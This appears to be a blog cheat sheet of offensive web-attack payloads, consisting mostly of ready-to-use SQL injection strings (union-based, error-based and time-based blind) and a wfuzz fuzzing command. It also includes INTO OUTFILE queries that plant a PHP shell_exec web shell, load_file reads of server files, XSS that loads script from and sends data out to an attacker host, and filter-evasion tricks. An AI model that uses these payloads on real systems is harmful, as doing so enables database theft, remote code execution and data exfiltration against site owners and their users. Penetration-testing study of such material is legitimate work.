- First, try to add ’ or ” in a field to see if the application throws an error.
- Try now a OR query which should return more content or another error.
' OR 1=1
- Try to add a statement and guess some fields which could be included in the error message.
' OR 1=1 in (SELECT password FROM users WHERE name = 'admin') -- //' OR 1=1 in (SELECT version()) -- //
Union-based injections
- Then, try to figure out how many columns are returned by adding an increasing number or ORDER BY stataments until finally the execution fails.
' ORDER BY 1 -- //
' ORDER BY 2 -- //
' ORDER BY 3 -- //
...
As soon as the execution fails, the command before indicates the tables column count. - Try now to add a SQL statement which contains some interesting functions (depending on the database) and is padded with the proper number of dummy columns to match the previosly found column count. For MySQL and 5 columns:
%' UNION SELECT database(), user(), @@version, null, null -- //
Note that it could be that the web page returns only some columns like$ret[2]— in this case, repeat the statement, but change the order of the database functions.
Another statement could be:%' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //
Blind SQL injections
If no output is given from a statement, try to use time-based approaches.
- While something like
file.php?username=blabla' AND 1=1 -- //
may not return anything if the username does not exist, the statementfile.php?username=blabla' AND IF (1=1, sleep(5), 'false') -- //
will slow down the application’s response if the given user exists.
Fuzzing
- Get a request with fields which could be injectable.
- use wfuzz and insert FUZZ in different fields:
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt -d "name=&order=FUZZ" -u http://$target/api/invoices
Enumerating in inserts
Assuming the INSERT statement is
INSERT INTO $tablename (email,name) VALUES ("email", "name");
Then try a timing attack to determine if a certain value is in a field:
INSERT INTO newsletter (name,email) VALUES ('name', '
' AND (IF((SELECT email FROM newsletter WHERE email="known_value") = "known_value", sleep(10), 0)) AND '
');
Forcing errors
You can use cast(...) to convert a string into an integer.
Enumerating the structure
Try to add a ORDER BY 1,2,3,… to gues how many columns there are:
SELECT * FROM menu ORDER BY 5;-- at some point, an error will occur.
Try to add an UNION statement into an injectable parameter and combine the output with a variable (in this case for MySQL)
?id=1 UNION ALL SELECT 1, @@version ?id=1 UNION ALL SELECT 1, 2, @@version # <-- following examples are for this case. ?id=1 UNION ALL SELECT 1, 2, 3, @@version ...
For the query that worked, obtain then information about the tables:
?id=1 UNION ALL SELECT 1, 2, table_name FROM information_schema.tables
Then, choose a table to explore, for example users. Then, enumerate the columns of this table:
?id=1 UNION ALL SELECT 1, 2, column_name FROM information_schema.columns WHERE table_name='users'
Then, values from the targeted table can be retrieved:
?id=1 UNION ALL SELECT 1, username, password from users
Code execution
Example to write a string into a file:
?id=1 union all select 1, 2, "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE 'c:/xampp/htdocs/backdoor.php' -- //
Useful commands
load_file returns the content of a file.
evil.php?id=42 union select 1,2,3,load_file('C:/...')
INTO OUTFILE writes content into a file.
evil.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'
Enumerate the count of columns: Request the following and repeat it and increase the order by parameter. An error appears after one column to many.
evil.php?id=1 order by 1
Loading JS from external source
To inject more complex JS from an own server, inject this:
<script src=http://$attacker/s.js"></script>
And provide this.
To load own JS directly, use this:
fetch("http://$attacker/s.js?maybe_also_with=$var_for_exfiltration")
If due to character restrictions you have to obfuscate:
- Convert your payload to base64.
- Instead of
'+alert('aha')+'
use'+eval(atob('base64...'))+' - Should there an issue because the injected string is used elsewhere and leads to a script error, wrap the result into a function which removes special characters so that there is no reason for a failure elsewhere:
'+btoa(eval(atob('base64...')))+'
Automatic tools
Notes
- Try DB dependend commands. E.g. for MySQL, @@version returns the version of the server and user() the current user.
- Try inline comments like SELECT/*bla*/table to prevent blacklisting.
Leave a Reply
You must be logged in to post a comment.